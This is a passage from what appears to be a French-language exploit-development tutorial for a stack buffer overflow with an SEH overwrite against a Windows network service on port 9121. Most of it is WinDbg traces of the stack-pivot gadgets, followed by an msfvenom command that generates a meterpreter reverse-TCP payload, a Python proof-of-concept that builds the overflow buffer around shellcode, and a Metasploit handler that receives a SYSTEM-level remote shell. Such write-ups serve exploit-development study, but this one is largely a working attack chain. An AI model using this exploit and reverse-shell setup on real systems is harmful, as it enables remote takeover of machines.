eip=01c9ff55 esp=01c9f444 ebp=01c9f458 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
01c9ff55 90 nop
0:009> t
eax=77853b02 ebx=01c9f540 ecx=1015a2f0 edx=77853b20 esi=00000000 edi=00000000
eip=01c9ff56 esp=01c9f444 ebp=01c9f458 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
01c9ff56 eb06 jmp 01c9ff5e
#
# INCREMENTATION DE ESP
#
0:009> t
eax=77853b02 ebx=01c9f540 ecx=1015a2f0 edx=77853b20 esi=00000000 edi=00000000
eip=01c9ff5e esp=01c9f444 ebp=01c9f458 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
01c9ff5e 6681c43008 add sp,830h
0:009> t
eax=77853b02 ebx=01c9f540 ecx=1015a2f0 edx=77853b20 esi=00000000 edi=00000000
eip=01c9ff63 esp=01c9fc74 ebp=01c9f458 iopl=0 nv up ei ng nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000286
01c9ff63 ffe4 jmp esp {01c9fc74}
#
# SHELLCODE
#
0:009> dd @esp L4
01c9fc74 90909090 90909090 43434343 43434343
0:009> t
eax=77853b02 ebx=01c9f540 ecx=1015a2f0 edx=77853b20 esi=00000000 edi=00000000
eip=01c9fc74 esp=01c9fc74 ebp=01c9f458 iopl=0 nv up ei ng nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000286
01c9fc74 90 nop
Visualisation équivalente des instructions assembleur mais depuis la fenêtre Disassembly
:
01c9ff54 90 nop
01c9ff55 90 nop
01c9ff56 eb06 jmp 01c9ff5e # Permet de jump par dessus `lock mov byte ptr ds:[90901015h],al`
01c9ff58 f0a215109090 lock mov byte ptr ds:[90901015h],al
01c9ff5e 6681c43008 add sp,830h # jump ici pour continuer l'exécution
01c9ff63 ffe4 jmp esp
On a maintenant l'espace suffisant pour stocker un payload et les moyens pour s'y rendre.
Obtenir un shell
Génération du reverse shell en utilisant msfvenom
:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PORT> -b "\x00\x02\x0A\x0D\xF8\xFD" -f python -v shellcode
Modification du PoC en conséquence :
#!/usr/bin/python
import socket
import sys
from struct import pack
try:
server = sys.argv[1]
port = 9121
size = 1000
shellcode = b"\x90" * 20
shellcode += b""
shellcode += b"\xdb\xc7\xd9\x74\x24\xf4\x5f\xbd\x04\x1f\xda"
shellcode += b"\x81\x2b\xc9\xb1\x59\x83\xc7\x04\x31\x6f\x15"
[...]
shellcode += b"\x63\xcc\xae\xfc\x94\x2d\x4f\x15\xf1\x2e\x4f"
shellcode += b"\x19\x07\x13\x99\x20\x7d\x52\x19\x17\x8e\xe1"
shellcode += b"\x3c\x3e\x05\x09\x12\x40\x0c"
shellcode += b"\x43" * (400 - len(shellcode))
inputBuffer = b"\x41" * 124
inputBuffer += pack("<L",(0x06eb9090)) # (NSEH)
inputBuffer += pack("<L", (0x1015a2f0)) # (SEH) P/P/R
inputBuffer += b"\x90" * 2
inputBuffer += b"\x66\x81\xc4\x30\x08" # ADD SP,0x830
inputBuffer += b"\xff\xe4" # JMP ESP
inputBuffer += b"\x90" * (size - len(inputBuffer) - len(shellcode))
inputBuffer += shellcode
[...]
Exécution de l'exploit et récupération d'un reverse shell :
$ sudo msfconsole -q -x "use exploit/multi/handler; set payload windows/meterpreter/reverse_tcp; set LHOST <IP> ; set LPORT <PORT>"
[...]
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM